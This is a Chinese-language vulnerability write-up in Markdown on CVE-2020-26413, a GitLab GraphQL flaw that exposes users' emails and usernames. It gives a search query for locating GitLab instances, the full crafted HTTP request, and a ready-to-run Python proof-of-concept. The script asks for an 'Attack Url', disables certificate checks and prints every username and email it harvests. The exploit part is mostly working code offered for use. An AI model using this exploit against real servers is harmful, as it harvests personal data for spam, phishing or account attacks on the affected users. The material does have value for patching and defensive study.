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138 lines
4.2 KiB
Markdown
138 lines
4.2 KiB
Markdown
# GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413
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## 漏洞描述
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GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名
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## 漏洞影响
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```
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GitLab 13.4 - 13.6.2
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```
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## 网络测绘
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```
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title="GitLab"
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```
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## 漏洞复现
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漏洞来源为 hackone上的一篇公开报告
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https://gitlab.com/gitlab-org/gitlab/-/issues/244275
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意思为当使用构造的语句在接口查询时会返回邮箱信息，如图
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访问 URL http://xxx.xxx.xxx.xxx/-//graphql-explorer
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Gitlab本身不允许获取账号邮箱信息，这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞
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查看完报告后发现漏洞利用需要有账号用户名，在不知道的情况下无法获取邮箱，在[Graphql官网](https://graphql.cn/)查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
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发包调用了 **/api/graphql** 接口发送数据
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完整数据包为
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```json
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POST /api/graphql HTTP/1.1
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Host: xxx.xxx.xxx.xxx
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Content-Length: 212
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Content-Type: application/json
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{"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
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```
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成功返回数据，造成 Gitlab的用户邮箱信息泄露
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## 漏洞POC
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```python
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import requests
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import sys
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import random
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import re
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import json
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url):
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vuln_url = target_url + "/api/graphql"
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user_number = 0
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/json",
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}
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try:
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data = """
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{"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null}
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"""
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5)
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if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200:
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print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url))
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for i in range(0,999):
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try:
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username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"]
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email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"]
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user_number = user_number + 1
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print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email))
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except:
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print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number))
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sys.exit(0)
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else:
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print("\033[31m[x] 不存在漏洞 \033[0m")
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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POC_1(target_url)
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```
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## |